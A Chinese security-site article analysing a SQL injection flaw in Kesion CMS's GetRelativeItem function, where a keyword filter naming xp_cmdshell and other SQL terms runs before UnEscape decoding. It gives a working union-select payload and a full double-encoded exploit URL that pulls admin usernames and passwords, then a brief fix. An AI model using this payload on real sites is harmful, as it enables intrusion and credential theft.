手机
当前位置:查字典教程网 >电脑 >电脑安全教程 >Kesion cms注入漏洞分析及其修复方案
Kesion cms注入漏洞分析及其修复方案
摘要:函数过滤混乱导致注入复制代码代码如下:DimKS:SetKS=NewPublicClsDimActionAction=KS.S("Actio...

函数过滤混乱导致注入

复制代码代码如下:

Dim KS:Set KS=New PublicCls

Dim Action

Action=KS.S("Action")

Select Case Action

Case "Ctoe" CtoE

Case "GetTags" GetTags

Case "GetRelativeItem" GetRelativeItem //问题函数

...skip...

Case "getonlinelist" getonlinelist

End Select

Sub GetRelativeItem() //漏洞函数开始

Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。

Dim Rtitle:rtitle=lcase(KS.G("rtitle"))

Dim RKey:Rkey=lcase(KS.G("Rkey"))

Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))

Dim ID:ID=KS.ChkClng(KS.G("ID"))

Dim Param,RS,SQL,k,SqlStr

If Key"" Then

If (Rtitle="true" Or RKey="true") Then

If Rtitle="true" Then

param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。

end if

If Rkey="true" Then

If Param="" Then

Param=Param & " keywords like '%" & key & "%'"

Else

Param=Param & " or keywords like '%" & key & "%'"

End If

End If

Else

Param=Param & " keywords like '%" & key & "%'"

End If

End If

If Param"" Then

Param=" where InfoID" & id & " and (" & param & ")"

else

Param=" where InfoID" & id

end if

If ChannelID0 Then Param=Param & " and ChannelID=" & ChannelID

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询

Set RS=Server.CreateObject("ADODB.RECORDSET")

RS.Open SqlStr,conn,1,1

If Not RS.Eof Then

SQL=RS.GetRows(-1)

End If

RS.Close

 先进行了过滤,然后才调用UnEscape解码,

 

复制代码代码如下:

Public Function S(Str)

S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))

Function DelSql(Str)

Dim SplitSqlStr,SplitSqlArr,I

SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"

SplitSqlArr = Split(SplitSqlStr,"|")

For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)

If Instr(LCase(Str),SplitSqlArr(I))>0 Then

Die ""

End if

Next

DelSql = Str

End Function

 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。

注入语句:%') union select 1,2,username+'|'+ password from KS_Admin

 转换如下:

 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

 修复方案:

UnEscape()函数调用位置放在函数体内,或者不调用。

【Kesion cms注入漏洞分析及其修复方案】相关文章:

Uread阅读器拒绝服务漏洞的分析与解决

Struts2 S2-016漏洞修复总结

163邮箱记事本存储型Xss漏洞分析与补救

Mcafee scan 自动停止的修复方法

网站防范 上传漏洞入侵的方法

nginx+cgi解析php容易出现的漏洞的分析

剖析DDoS攻击原理

傲游浏览器官网存在SQL注射漏洞分析

aunps2.dll 手工删除方法

openssl曝光重大安全漏洞 openssl漏洞详情

精品推荐
分类导航